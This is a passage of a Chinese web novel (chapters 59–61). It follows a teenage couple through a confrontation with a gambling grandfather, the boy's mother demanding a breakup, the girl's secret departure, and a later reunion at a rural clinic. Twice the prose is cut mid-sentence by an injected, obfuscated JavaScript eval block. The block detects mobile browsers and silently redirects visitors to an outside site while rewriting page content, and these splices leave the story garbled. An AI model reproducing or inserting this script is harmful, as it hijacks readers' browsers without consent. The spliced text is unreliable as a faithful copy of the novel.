少年身姿挺拔,单手撑在桌上,睨着眼,惬意散漫:“不是因为找到了人生的目标,恰恰相反,是还在追逐。我会害怕,偶尔也会失意,正是如此,才要更用力握住所有机会。” “一个去到想去的人身边,留在想留的人身边的机会。” “此刻,我们不说奋勇前进,我们讲,不留遗憾。” 掌声雷动中,许言琛看向千百学子,少年们的脸上洋溢着青春,他们笑容恣意,书写着属于自己的华丽篇章。 而他在人群中,一眼望见了那个笑得甜甜鼓掌的少女。 他们相视,笑意更浓,眼底只见彼此。 短短一个上午,也许是高考倒计时里最轻松的时刻。 大家都赖在操场谈笑,很久了人群还是没能散开,姜绵从密密的团体里往后挤,果不其然在老远的树底下看见了正跟人打闹的陈思彤。 她一路朝人小跑过去,回头打量了一下方位。 这里比起乱糟糟的操场要更加显眼,许言琛等会儿应该能找到他们。 姜绵一过去陈思彤就躲在了她身后,从她肩膀处露出半张脸,对正前方停住动作的男生吐舌头:“怎么不过来了,不敢了吧?我就知道你不敢随便动姜宝。” 张滔用眼神警告了她一下,对着一脸不知所措的女生笑着点了点头。 一行人里,就张滔对她最拘谨,姜绵礼貌回应了下,转头问还沉浸在挑谑的陈思彤:“怎么就你们两个,程渡呢?” “他回教室拿相机去了。”陈思彤搭着她的肩,哼哧了一声,“说是要给我们留下青春最美的时刻,就他那技术,你信吗?” 想起上次他在天台给她们拍的照片,姜绵干笑着摇了摇头。 陈思彤又指向张滔,“你信吗?” 突然点到他,张滔慌乱收起自己停在某处的目光,几秒后才看着她张了张嘴,还没发出声音,就被陈思彤打断了。 “你看,说曹操曹操到。” 姜绵顺着她的视线,看见了不远处正跑向他们的程渡,他看上去好像有些着急,过来后停在他们当中大口喘着气。 陈思彤说:“你去拿相机怎么拿这么久?” 程渡还没怎么缓过来,撑着膝盖指了指后面:“有、有人找。” “谁找谁?”陈思彤转着圈看周围,没发现有其他人在。 程度低着头胡乱指了一通,好半天深吸了一口气说:“有人在我们教学楼下找姜绵。” 姜绵怔了一下,没想到会是自己。 她拿着演讲稿的手抖了一下,看了眼教学楼的方向,尽量维持着淡定:“你们先拍,我去看看。” 陈思彤目送她离开的背影,问程渡:“谁找姜宝啊?”她忍不住皱眉有些担心,总觉得在听见有人找后,姜宝的表情有些怪。 他摇摇头:“不认识,一个老人。” “姜绵呢?” 身后突然传来少年低低的询问声。 一下台许言琛就朝着他们这个方向来,刚刚遥遥还看见的身影,离近了突然间就消失了。 他把目光放在离得近的程渡身上,抬了抬下巴,问:“人呢?” 程渡指向某个方向,“有人找她,姜小绵去了。” “哪儿?” “没走的话,应该是在我们那栋教学楼下。” 许言琛点点头,转了个方向就走。 “那我们还拍吗?”陈思彤问。 说好拍合照,现在只剩他们三人,张滔觉得没意思:“等大家都空了吧。话说,我们不用去看看吗?” 程渡点点头又摇摇头。 那个老人是有些奇怪,估计是整栋楼没找见人,一看见他就扑上来问认不认识姜小绵,吓得他差点叫保安。 不过…… 他摆摆手,摆弄起手里的相机:“不用,有许哥在应该没事。” 59. 蝴蝶振翅 除了那个人,姜绵想不出还会有谁来找她。 在看见教学楼下那抹有些佝偻的身形时,那双时常带着笑的双眸,头一次透出冰冷。 每走过去一步,她的手就攥得越紧。 停在他身后近一米处,姜绵开了口:“你来干什么?” 听见她的声音,正专心看公告栏的老人转过身,那张蜡黄布满褶皱的脸像是触碰到什么指令,倏然堆起了笑。 “绵绵!找了好久终于找到你了。” 说着他就往前扑,姜绵蹙眉侧身躲过,对他的刻意攀近表现出的只有厌恶。 离近了周围全是他身上浸了数年的烟酒味,她强忍着恶心,又重复了一遍刚刚的话:“你来干什么?” 姜兴海讪讪收回手,搓了几下:“爷爷就是想来看看你过得怎么样。”说着他指了指身后的公告栏,“看你这么有出息我就放心了。” 姜绵只想笑。 他这副嘴脸跟之前说“女孩子读书有什么用”的时候,可谓是天差地别。 她没兴趣跟他迂回,直接挑破了他:“没钱了吧?” 正愁不知道怎么开口,姜兴海面上一喜,连点头:“对,我……” “你怎么会认为我有钱?”姜绵冷着脸,声音像掉进了冰窖里,“或者说,你凭什么认为我会给你钱?” 她就算是把钱全部捐掉,也不会给他这种嗜赌成性的人。 听她这样说,姜兴海终于伪装不下去了,面容凶狠指着她骂:“就凭我是你老子的老子!没有我,你能出现在这个世界,现在还过上这么好的生活吗?” 他竟好意思称她现在过的是生活是拜他所赐,姜绵被气到忍不住发抖,她从来没有见过如此尖酸凉薄,没有心肝之人,简直越老越无赖。 小时候姜兴海就拿她是个女孩儿的事,在家时经常冷嘲热讽,但通常都被爸爸摔筷子摔碗吓得不敢再出声。 他面上装作伏低,可一等到爸爸妈妈都出门去上班,就骗那时候只有五岁的她,说带她去集市买糖,然后把她一个人丢在了热闹的大街上,要不是赶场的邻居阿姨眼尖发现了她,给还在工厂上班的妈妈打了电话,她现在还真不知道在哪儿。 从这件事后,爸爸妈妈带着她跟姜兴海分了家,除了每个月给赡养费的那天,几乎再没有什么往来。 看她带着恨意的眼神,姜兴海大概猜到了原因,心虚擤了擤鼻子,找补道:“小时候是你自己调皮到处乱跑迷了路,我可是去找了你的,没找到我才走的。” “不会吧。”姜绵抱着手看他,挑唇讥笑,“您不是很会找人吗?” 他僵住:“你什么意思?” “我什么意思您不是最清楚吗?” “躲着我和妈妈,违背我妈妈的意愿,去找获救者家属索要抚恤金的时候,您不是挺轻车熟路的吗?” 她话说的这么明白,姜兴海想继续装傻都不行了,只是过去任他拿捏的人如今敢公然羞辱他,他一时气上心头,索性撕破了脸。 “他们家害死了我儿子,损失最大的是我,我去找他们那是去拿回属于自己的东西!你们不要那是你们蠢,再说了,这钱本来就应该先从我手里过,你妈那个晦气娘们儿,招呼都不跟我打一声就擅自做主,是当我不是姜家人了吗!” 这都是过去了好久的事情,再怎么争执也没有了意义,姜绵“哦”了声,开始装傻:“那您不是有钱吗,那笔抚恤金够你安稳到死了吧?” “你个死丫头,说什么死不死的!”姜兴海拉下脸,最近他格外抗拒这个字。 知道她是在故意探他口风,姜兴海也不上当:“那笔钱我自然有我自己的用处,别以为我不知道,你妈可是把家里所有的积蓄都给了你,按道理,你怎么也得分一半给我。” 姜绵皱了皱眉,看来他这架势,今天是铁了心要从自己身上薅到钱,她也懒得跟他废话:“没钱,不给。” “有钱,更不给。” 像是早就猜到她会这样说,姜兴海邪笑着挽起袖子:”行,不给是吧。那我以后就天天来这找你,让所有人都看看,在学校里的好学生是一个多没良心的人,竟然置家里年迈的爷爷不顾!” “好啊。”她挑眉,居高临下逼视他,“到时候我等着看,到底谁更丢脸。” “你!” “需要我叫保安吗?” 姜兴海咬牙切齿指着她,哼了声后甩手离开。 等到他的背影逐渐走远,姜绵一直紧绷的身体才松垮下来。 她摇晃着撑住墙面,弯着腰大口呼吸,整个人都在发抖。 他果然还是找到了她,一直以来她都抱着侥幸,祈祷他已经忘了自己。 现在看来,他不仅没忘还记得格外清楚,所以才会刻意选择这个时间点来找她。 前程和钱她只能二选一,这是要来逼她妥协。 她早该明白姜兴海是一个多阴险毒辣的人。 想起那张满是褶皱的脸,姜绵胃里一阵翻江倒海,蹲在地上不受控制干呕了起来。 突然感觉有人在她旁边蹲了下来,帮她顺起了背,眼泪绷不住从眼眶中涌出,姜绵咬着唇没发出一点声响,维持着自己仅剩的一点自尊。 良久,她声音有些抖:“你听了多少?” 许言琛把她给扶起来,拿纸巾轻轻擦拭着她的脸,声音比动作还要温柔:“才来,一句也没听着。” 姜绵抬眸看他很久,仿佛要把他整个人给看穿,过了会儿,她视线慢慢下移,落在许言琛紧闭的嘴唇上。 少女目光直白不加掩饰,他低笑了声,停下了手里的动作。 “又打什么主意?”许言琛说,“想割我舌头?还请小姜同学明鉴,我真的什么也没听到。” 知道他是在逗自己开心,姜绵总算弯唇笑了,她点了点他的唇角,对上他的目光:“想亲。” 这是她的真话,也是她心里的想法,只是借着私心说了出来。 他对她好的过分,她快一辈子都离不开他了。 这样的话对于荷尔蒙分泌正旺盛的少年来说,无疑是一道加剂的猛药。 除了告白那天的借势而为,此后的他无论多想做些什么都在尽力克制着自己。 他怕自己激烈的欲望一旦沾上就会不受控制,难免吓到她。 今天她难得主动,许言琛的眼神一下暗了下来,他眯了眯眼,盯着她水嫩的唇瓣,捧住她的脸作势俯身。 “等等!”姜绵先一步捂住他的嘴,她还没忘记这是在哪里,“放学……回去再这个。” 她又红了脸,许言琛摩挲着她的脸颊,眼里染上笑意。 他不是没看出来,明明脸皮这么薄,为了转移注意力才说出那句话,再来一次,连“亲”字都说不出口了。 拿下她的手,于是他故意:“想在家里?你房间还是我房间?” “或者露台?” ”还是说,你想在客厅沙发,嗯?” 姜绵越听越不对劲,脸色爆红,出口的声音却如蚊呐:“你别说了……” 她这个样子更加激发了他的潜能,许言琛单手扣住她的后颈,低头在她脖侧收着力咬了一口,少女有些吃痛的轻哼了声。 “嘶……疼……” 娇气。 他松了力,嘴唇覆上那处浅显的咬痕,轻啄了下,一呼一吸之间全是她身上的香气。 良久,许言琛眼尾泛着红,在她耳边低低叹谓:“回去亲死你。” 姜绵听着他的浑话睁大了眼。 完了,她好像惹过火了。 放学后,姜绵跑的比谁都快。 许言琛看着旁边一下变空的座位,想起她一下午如临大敌的表情,扬了下唇。 没关系,再调皮的小猫总会回家。 他有的是耐心,慢慢等。 提着书包出校门前,他看了眼在保安亭里听收音机的大爷,想起了今天远远看见的那个身影。 许言琛停了脚步,靠在窗口边朝里面漫不经心道:“大爷,今天有不认识的人进过学校吗?” “哟!”保安大爷关了收音机,认真想了想,“好像是有一个。” 大爷跟他熟,说话实打实:“说是那个谁,就经常跟你一起那小姜的爷爷,今天上午过来找她,我给人放进去了。” 许言琛修长的指尖落在台檐边轻敲了几下,似是在考量,而后挑眉招呼了声:“行,以后别放进来了,不认识。” “诶,好!” 最近一段时间,姜绵总是出现幻觉。 无论在哪儿,她都能看见姜兴海那张满脸堆笑盯着她的脸,尽管他已经很久没再出现在她眼前。 直到一模考得不太理想后,她终于意识到自己的心态出了问题。 她太害怕自己马上就快要实现的一切,半途被那个人渣给毁掉。甚至不敢牵扯任何人,她只能跟谁都保持着适当距离,营造独自一人的假象。 比起这些,她更担心的是姜兴海这个无赖,为了钱会顺藤摸瓜找到许家,做出一些不可理喻的事。 不过好在最近许家风平浪静,看样子是没出什么问题,姜兴海应该也知道自己惹不起许家。 这样惴惴不安的心情一直到三模结束,才总算是落了下来。 三模成绩稳定后,离高考只有一个月不到的时间。 整个锦一中被压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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凭着肌肉记忆抚上她的唇,他带着讨好缓缓摩挲着,声音有些哑:“疼吗?”他咬的时候是用了点儿力。 姜绵坐在桌子上,生气踢了他一脚,带了点儿娇嗔:“你说呢?” 按着她不让她动,亲了那么久,她感觉整个嘴巴都快要麻了。 “是我错了。”他又用起装可怜的那招,鼻尖和她相碰一下一下磨蹭着,“让你咬回来好不好?” “不要!” 又想骗人,到时候吃亏的肯定又是她。 “行,不要。”他失笑,掐着她的腰把她抱下来,还不忘在头顶偷亲一口。 “外面差不多要结束了,饿了没,去吃饭?” 才说完某人的肚子就不争气的咕咕叫起来。 姜绵眨巴着一对水眸,在黑暗中捕捉到他戏谑的眼神,糯声道:“饿了……” 许言琛笑哼了声,长臂揽过她的肩,推开门往外走,还不忘扯了把校服衬衫,露出右锁骨上的浅红色咬痕。 放浪又矜沦。 “想吃什么?西餐?海鲜?” “都不要。” “挺挑食,那想吃什么?” “吃火锅行吗?” “行,怎么不行,只要不怕明天嘴更肿。” “……” 为期三天的高考过得很快。 没有想象中那般令人恐惧不安,坐到考场的那一刻,反而轻松了很多。 考完最后一堂科目,姜绵率先出考场,跟在人流中间出了考点学校。 挤出一层一层送花的家长群,姜绵来到事先约定好的一棵桦树下,等着许言琛他们出来。 周围全是穿旗袍、举横幅、抱着鲜花的大人,他们脸上都带着笑,眼含期待的看向出来的一波又一波学生,生怕错过自己的孩子。 成功会面的家庭抱在一起又哭又笑,他们已经踏过了人生又一次分水岭,而这一刻这些却显得没那么重要。 他们只享受这一秒的幸福,姜绵看着看着就笑了。 她也替他们幸福。 等了一会儿还没见他们出来,她往后站高了些往里看,没注意到有个女人悄然站到了她身旁。 “姜绵。” 一道成熟的女人声音突然喊她,姜绵收回视线,低下头朝声源看,倏而愣住。 一身墨绿色旗袍的孟虹站在离她不到半米处,微微仰头看她,姜绵慌忙跳下阶梯,有些拘谨的笑着:“您是来接许言琛的吧?” 女人扬起笑,红唇轻启,否认干脆:“不是。” “我是来找你的。” 孟虹在她发愣间,伸出纤长的食指指了指对街。 “方便去对面的咖啡店坐坐吗?” 60. 诀别无尽夏 街角绿荫下藏了一个没那么起眼的店铺。 深咖色的装潢显得店里有些压抑,咖啡店里的冷气开得很足,姜绵坐在小座沙发上感觉像被推进了冷藏室。 点单时孟虹很自然的问了句,姜绵对这些不怎么了解,所以紧跟在她后面点了杯一样的美式,只不过在称得上冻人的温度下,她换成了热的。 她说完后,孟虹盯着她笑了笑,递还了菜单。 店里氛围悠静,就算现在正是高考结束人流量最多的时候,也鲜少有人踏足此地。 除了咖啡机的声响和窗边的几株植物烘托出一点生机,这个地方简直沉静的令人不安。 嗅出一丝古怪的味道,姜绵有预感般垂头用手机给许言琛发了一条信息,告诉他考场外面人太多,她先离开了,让他不用找自己。 收到少年不掺一点怀疑的回复后,她才放心的把手机反扣在了桌面上。 孟虹将她的动作尽收眼底,勾出一抹不冷不热的笑:“考得怎么样?今后有什么打算吗?” 就像是家里长辈见面时的寒暄一样,她态度一百八十度的转变,打的姜绵措手不及。 “谢谢孟阿姨关心,发挥还算稳定。” “以后……”她顿了下,才说,“以后打算去京市看看。” “京市?要考京大?” 姜绵点头嗯了声,不明白她为什么好奇这个,又听见她问:“他也是吗?” “他”指的是谁,不言而喻。 恍惚间,姜绵看着她脸上有些急迫想知晓的表情,对她的来意好像有了一知半解。 恰逢店员端来咖啡,姜绵礼貌说了句谢谢,望着不断冒出的袅袅热气,如实说:“是。京大里面也有他喜欢的专业。” “喜欢的专业?”孟虹搅杯子的动作停下来,面上是得体的笑容,眼底却无半分笑意,“我看那里是有他喜欢的人吧?” 说完,对面的人身体一僵,缓缓抬眸看她,孟虹喜欢她这个反应,给她种一切尽在自己掌握的感觉。 “很惊讶我会知道?”她笑得恣然,抬手间一举一动都透着优雅,“言琛毕竟是我儿子,就算母子间感情薄寡,但有些事情还是不难看出来。” 这时候搬出这个身份,姜绵不傻,垂睫安静坐着听她讲。 “虽然不知道你们发展到了哪一步,但很抱歉,必须得到此为止了。” 她像是在为这段感情下最后通牒般,语气不容置喙,姜绵蹙眉想说些什么,孟虹却抬手打断了她:“我以为你会是个聪明人,懂得什么时候该及时止损。你在我们家待了这么久,应该清楚言琛他和你压根就不是一路人,又怎么会有好结果?” 转眼间,孟虹又恢复了之前那副高高在上的模样,她靠着椅背睨眼,姜绵捏着杯垫的指尖用力到发白。 “与其多虑这些,孟阿姨不如想想怎样才能让许叔叔同意你回去。”趁自尊还没被彻底剖开,她恰到好处反击了句,起身就要离开。 见人要走,孟虹来不及再计较这些尊卑礼仪,尖声喊住她:“等等!你不能这么自私!” 她刻意用的这个词起了效,姜绵起身的动作一滞,侧过头看她,只见孟虹的表情有些急乱,说话也开始一股脑。 “你不能这么自私把他捆在你身边,你知道言琛为了你干了什么吗?” 就这一句话留住了她,姜绵又重新坐了下来,整个人云里雾里。 很明显,她对孟虹口中的那些事情并不知情,以至于让她产生一种好奇。 默了片刻,姜绵听见她说:“言琛为了帮你解决你那个贪心的爷爷,头一次低头向他爸爸张口借钱。” “他明明可以不管,像那样的人闹几次捞不到好处就会走,可仅仅只是因为一切与你有关,他选择了妥协。” “只要你在言琛身边一天,你爷爷就会当他是取之不尽的无底洞,他不该承受你们家那些乱七八糟的事。” 姜绵从头到脚一片冰冷,像是跌入一片汪洋的大海里,海水倒灌进她肺里,连呼吸都变成了一件痛苦的事。 难怪,这么多天都没看见姜兴海的身影。 她还奇怪,像他那样无赖狡猾的人,这次怎么三言两语就被轻易说走。 原来是因为这样。 她过的每一天安稳日子,都是因为有许言琛在背后默默托底。 她终究还是牵连了他。 桌上的咖啡没再冒热气,姜绵大脑宕机,脸色苍白捧起杯子喝了一小口,苦涩的因子在舌尖蔓开。 味道像是以前妈妈喝的罐子里熬好的中药,苦得她想掉眼泪。 “就当我求你,放过言琛吧!” “是我对不起你,对不起你们家,我不该对你妈妈说那些话,但你能不能别害他。” “都是我一个人的错,你想怎样惩罚我都可以,我求你,求你别绑住他!” 孟虹像是受了什么刺激,一把抓住她还捧着杯子的手,卸下傲慢不停哀求,连头发散乱了都不自知。 吧台里的店员都朝她们这边看,姜绵垂眸看向被荡洒了一身咖啡的衣服。 两厢比较,她冷静又狼狈,好像她才是那个,不肯退步又步步相逼之人。 孟虹母性觉醒的时机恰到好处,而又充满了讽刺,上天像是跟她开了个玩笑,又或者,她就是玩笑本身。 出了店,姜绵躲在满是废品的小巷里又哭又笑,像在阴沟里赖以生存的夜间动物,从缝隙里小心窥探着外面的生活。 真心祈愿从来没有过回应,被诅咒的厄运对她却一件不落。 她从不贪盼其它,只是想要过最平淡普通的幸福,为什么就这么难? 她忘了,幸福是沙。 而她握得太紧。 考完的没几天,程渡请客组织大家出来嗨皮,说是要正式告别青春时代。 KTV包房里灯光来回扫射明暗交替,桌上的啤酒罐东倒西歪,许言琛陷在沙发里,半眯眼支着脑袋略显疲惫,地上还躺了两个已经开始胡言乱语的人。 这些年所压抑的一切在这个晚上被尽情释放,两人来回吐苦水,姜绵和陈思彤对视了眼,有些好笑的去扶他们。 两人瘫在地上跟泥鳅一样,提起来一次又滑下去,好不容易把人搬到了沙发上,陈思彤累得指着他们骂:“都说了让你们少喝点儿,待会儿我可不送你们回去啊!” 张滔还残存着一丝清醒,他伸手揽过一旁已经不省人事的程渡,挥手大言不惭:“不用你送!我跟程渡闭着眼睛都能走回去。” “省省吧大爷。”看着他那张青一块紫一块的脸,陈思彤叉手叹气,“还嫌自己摔得不够鼻青脸肿呢?” 说起这个她也觉得奇怪,前天老周突发奇想把原班的人团到一起攒了个局,那天疯是疯了点儿,可老周还把他们当孩子,酒水一概不让碰。 也不知道在没酒精麻痹的作用下,他是怎么把自己摔成这个样子的。 张滔眼睛亮了一瞬,随后抬手捂住自己的脸,语气含糊不清:“摔的,是摔的,是……” 说着说着,不知道扯到了哪儿,原本醉醺醺的两人又开始抱头大哭,大屏里歌曲的伴奏还没停,陈思彤被吵的头疼,抬手就去拉他俩。 眼看一片混乱,姜绵抬脚就撤,坐回原位长舒了一口气。 没等缓过神,肩上突然倒过来一个人,听着少年有些重的呼吸,她倏而怔住。 她维持这个姿势没说话,过了会儿,也许是怕她肩膀承受不住,许言琛改为紧拥着她,仰头靠在沙发上闭眼小憩。 姜绵贴在他胸口,听着他平缓的心跳一下一下敲击着她的耳膜,偷偷感受了几秒后,她挣扎起身要离开。 这样激烈的反应吵醒了双目紧闭着的少年。 许言琛一把摁回她的脑袋,将人环的更用力,开口声音有些沙哑:“别动,就一会儿。”最近几天他着实累得够呛。 姜绵当真不再动,她不动声色吸了几次鼻子,闻着他身上那股熟悉的淡香味,眼眶开始发酸。 回想这几天,每次见他时,他整个人浑身上下都透露出疲乏,按理说高考完正是放松的时间,不应该如此。 他在忙什么,他不说,她也不问。 但不代表她全然不知。 从他被许叔叔叫去书房一待就是一下午,从他手里拿的东西逐渐变成她看不懂的资料书籍,从他开始穿略显成熟的西装开始,她就什么都明白了。 她猜许言琛签订的那个借条里,他本身也成了条款的一部分。 在他骗自己是因为兴趣才去涉猎时,姜绵被这个谎言穿透得分崩离析。 足够久了,她不能再害他。 她确实该离开了,姜绵想。 不知道是谁点的歌,前奏刚出来,整个包厢瞬间有了不一样的氛围,原本半死不活的两人也都有了精神气,拿起话筒就开始唱—— “怎么大风越狠,我心越……” “吹啊吹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687253|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,我的……” 唱到一半又开始了鬼哭狼嚎,许言琛被两人刺耳的声音吵到不耐烦,眉心一皱睁开了眼。 压低眉眼正要发作,却听见怀里的人正小声跟唱着,声音细细温柔,他刹时就没了脾气,不作声听她唱完。 直到少女唱完最后一句,他才一下一下抚着她的发丝,问:“喜欢这首歌?” 姜绵弯唇笑了笑。 她刚来锦州的这一年,这首歌红遍大江南北,无数次迷惘的夜里,这首歌给了她很大的慰藉。 她循环播放这首歌很多遍,已经不能用喜欢来形容。 是钟爱。 “喜欢这首歌的最后一句。” “嗯?是什么?” 我会变成巨人,踏着力气,踩着梦。 * 高考分数出来的前三天,许国安要去国外出差。 姜绵从徐阿姨那儿听到,这次出差,许言琛也会去。 得知这个消息,她心脏一阵钝痛,坐在床头发了好久的呆。 她有预感,这次分开也许就是永远。 这是她离开的最好时机,所有人都不在,她可以做到悄无声息。 临近傍晚,许言琛才发信息告诉她明天出差的事,说是会走的很早,让她这几天在家照顾好自己,他很快就回来。 姜绵停下收拾行李的动作,盯着手机屏幕出神很久,才回了个好。 这一晚,一夜无眠。 外面天刚亮,卧室外就有了动静,有人在她房间门口停了下来,姜绵等了会儿,却听见了离开的脚步声。 她攥着被角,眼泪顺着眼尾滑落到枕头上。 这三年的画面跟碟片般在她脑海里一帧帧重映,姜绵终究还是没忍住,起身冲下了楼。 听见身后传来的动静,许言琛开门的动作兀地滞住。 他转身,看见客厅里披散着长发,连鞋都没来得及穿的少女,双眼含泪直直看着他。 这一刻,他说不上来什么感受,只是喉咙涩的发紧,他摊手,语气宠溺:“过来,抱抱。” 姜绵一步一步,最后扑进他怀里,什么也没讲,只是哭。 “不哭了,我很快就回来。” 以为她是害怕一个人在家,许言琛摸着她的脑袋安慰她:“害怕我让徐阿姨留下来陪你,好不好?” 姜绵摇了摇头,抱紧他的腰,哭得浑身颤抖。 她鲜少有这样难受的时候,许言琛看出了不对劲,皱眉有些着急:“怎么了?是不是发生了什么,还是哪里不舒服?” “阿许,我舍不得你。” 少女哭得一抽一抽,惹人怜爱,他吐了口气,拍着她的背,声音轻柔:“我很快就回来,想要什么礼物吗?” 她还是摇头,但却像得到了什么提醒,从他怀里离开,取下了脖间的吊坠,踮脚挂在了他脖子上。 这东西是他不顾危险替她夺回来的,她又交到了他手里,“这是妈妈给我保平安的,我给你,让菩萨保佑你一直平平安安,健健康康。” “好。”许言琛弯唇,抬手擦走她眼睫上缀着的泪珠,“一定平平安安回来见你。” 再回来这里就没有她了。 姜绵心里泛着酸,抿唇忍住泪意,推他离开:“走吧,别误了飞机。” 就像是所有热恋期间面临分开的情侣一样,姜绵想一路送他到街边,许言琛看了眼她光溜溜什么也没穿的脚,连入户门都不让她出。 他提着行李箱,在她要出门时拦住她,在她额头印上一吻:“还早,再回去睡会儿。” 这次姜绵抬眼望着他,乖乖点了点头。 “拜拜。” 关了门,听着那道愈行愈远的滚轮声,姜绵一下跌坐在玄关处,抱着膝盖失声痛哭。 她连道别都格外小心谨慎。 不会再见了,就这样。 她会走的远远的,就跟之前说的那样,去一个没有人认识的地方。 只不过,这次就她一个人。 算着时间,在他登机起飞的时候,姜绵用手机给他发了最后一条信息。 姜绵眠眠:【阿许,我们都不要做自己能力范围以外的事情。】 发完后,她注销了那张电话卡,销毁了所有存在过的痕迹,紧随其后,离开了那座一夜间变得空荡的城堡。 至此,白日梦醒。 他们诀别在这个永无止境的夏天。 应是不复相见。 61. 新欢 “好久不见。” “姜绵。” 整整一个晚上,姜绵的脑袋里都在重复播放着这句话。 说这句话时,她清楚看见男人脸上没什么情绪起伏,仅仅像是对待一个多年未见的点头之交。 也是,当初她不声不响离开,如今他这种态度再正常不过。 甚至比她预想的还要好一些。 没有拉着她的衣领躁怒质问,没有劈头盖脸的责骂,也没有对她重新出现在他眼前表现出一丝惊讶,一切都平静的不像话。 更难得的是,他看上去一切都好,头发两边的鬓角剃短了些,棱角锋利,身姿更加挺拔,学会了抽烟,举手投足之间都变得成熟稳重。 她应该庆幸,自己的离开好像没对他产生太大的影响。 早就准备好的寒暄,能轻易被一通电话给打断。 或者是,他们之间,本就没有什么话可说。 “汤来咯!” 方琳刚提着保温盒回来,就看见原本好好躺在病床上的女孩儿,不知什么时候起了身,正坐在床沿发着神。 那张本就素净的小脸,因为生病的缘故透着不正常的白,此刻她低着眸眼尾垂下,整个人神情恹恹,显得更加楚楚可怜。 当下,方琳莫名燃起了保护欲,上前不管三七二十一动作轻柔的把人塞进了被褥里,替她垫高枕头,贴心把床摇到了舒适的角度。 心绪骤然被打断,姜绵被这一连套熟练的动作惊到无言,还没等她来得及有反应,面前的视线就被一个柱形物体所遮蔽。 “老话说得好,喝啥补啥。”方琳拧开保温盒盖,殷勤般把才出锅的鲜汤端上前,“喝了这碗汤,保准你不出几天就可以活蹦乱跳!” 她说这话时,有一种老巫婆诱骗白雪公主吃毒苹果的不怀好意感。 但姜绵也确实跟白雪公主一样,被她手里的食物给成功诱惑到。 高汤的味道一下下钻进鼻腔,一天没吃饭的饥饿感在此刻攀上巅峰,她咽了咽口水,说了句谢谢后伸手接过。 果不其然,紧接着下一秒,有人就暴露了别有用心。 方琳抬屁股向她挪近,一脸八卦的看着她笑:“姜医生,这汤是李医生苦求了好久,花大价钱才让一家已经闭店的餐饮老板加点熬出来的。怎么样,有没有尝到一股愧疚的味道,或者是其他的……” 她边说边耸动着眉毛朝人抛媚眼,给足了暗示,姜绵小口喝汤的动作一滞。 对于李泉,她并没有其他的想法,只是今天他在自己身边急得团团转的样子让人记忆深刻。 姜绵弯唇想笑,但在看到一旁人好奇的目光后倏然止住,索性囫囵过去:“李医生啊,他人挺好的,下次见到他一定好好感谢他。” 得,开始发好人卡了。 方琳一听就知道他俩准没了戏,在心里替李泉叹惜了几秒,想起今天帮忙的绝色男人,又来了劲儿:“李医生跟个文弱书生似的,确实不行。找男人还是得要身强体壮,身体力行,一下就能把人扛起来那种,你说对不对啊姜医生?” 姜绵假装听不懂,边喝边点头:”对啊对啊,像泰森那种的,就很有安全感。” 不知道她是认真的还是在打趣,方琳嘴角抽搐,被堵的哑口无言。 从姜医生的嘴里套话比登天还难,她暗自摇头放弃,回归了正题:“主任说了,后面几天你就在这里好好休息,等义诊结束再跟大部队一起回去。” 听见这话,姜绵呛了口汤,咳嗽着摆手:“不行不行!这次义诊我们科室没来几个人,到时候肯定忙不过来,我这腿过一晚上就能好,不碍事的。” 她来这一趟本来就是想干点实事儿的,要真像主任说那样,岂不白来。 再者说,她不还有一条腿好着吗,就算蹦也能蹦去。 哪成想平时柔柔弱弱的姑娘倔起来几头牛都拉不回来,多次劝说无果,方琳也拿她没了招。 “好好好,待会儿我就去跟主任说,等你什么时候真能下地走路了,就放你去。” 听她松了口,姜绵原本懊恼的情绪散去了大半,喝完补汤就乖乖闭眼躺着休养。 医院组织的这次义诊只有一周左右的时间,第一天就出师不利是姜绵没想的。 好在这次伤得并不重,到第四天的时候已经可以正常下床走路了。 休息这几天,她人都快躺发霉了,方琳他们一进村几乎就是一整天,只留她一个人在卫生所里望着天花板发呆。 不过一日三餐倒是没把她给忘记,每天早上一睁眼就能看到放在床边柜子上的餐盒,午餐和晚餐都是所里的小护士送来,每一餐营养搭配均衡。 她每吃一口,就在心里流泪感谢方琳一次。 离开卫生所的那天晚上,忙了好几天的方琳特意来接她回宿舍,消失了好几天的李泉也终于现了身。 他一进来就是一副十分愧疚的样子,诚恳鞠躬道歉还是不敢直视人,姜绵叠好被子就去扶直他的身体。 她无奈:“李医生,我真没事了,你别这个样子,再这样我都要内疚了。” 李泉总算不再道歉,却变得更加惶恐。 知道他老实,但没想到老实到了这种程度,姜绵暗自叹气,干脆扭头不再继续跟他讨论这件事。 “姜医生。”方琳在一旁出声喊她。 姜绵带着询问的眼神看向她,见她手里提着装着东西的包,指了指桌上的不锈钢保温盒,认真问:“这是你的吗,要带走吗?” 她问这一句,姜绵登时怔住,眉眼都是惑色。 这个食盒不是方琳给她点的餐吗? 不是她还能是谁? 姜绵把目光投向一边还在自我纠结的李泉身上,立马在心里摇了摇头。 也不可能是李医生,李医生直楞,能想到做这些事的概率微乎及微。 难道…… 脑中想到另一个人选,这次姜绵否决得更快。 她苦涩的扯了下唇角,笑自己连这种事也会情不自禁想到他头上。 忘了,早就不可能了。 隔天一早,义诊第五天,某种意义上是姜绵一个人义诊的第一天。 她起得格外早,率先到达了群里发的集合点。 倒不是因为兴奋,只是单纯失眠,翻来覆去也没能入睡成功,索性起个大早,提前拥抱初晨的阳光。 带队主任到地方后看见她很惊讶:“是姜医生吧?年轻人积极性不错,来得比我这个领队的还早,腿伤好得差不多了吧?” 姜绵停下拨弄地上石子的动作,拍了拍手,起身笑回:“谢谢主任关心,已经好全了。” 主任点了点头,旋即开始调侃起她来。 说这也是件奇事,没见过哪个医生去给别人看病,自己先受了伤。 姜绵干笑了几声,面色尴尬,不知道说什么。 没过多久,陆陆续续也来了几个其它科室的医生,睡眼惺忪的谈论着今天的安排。 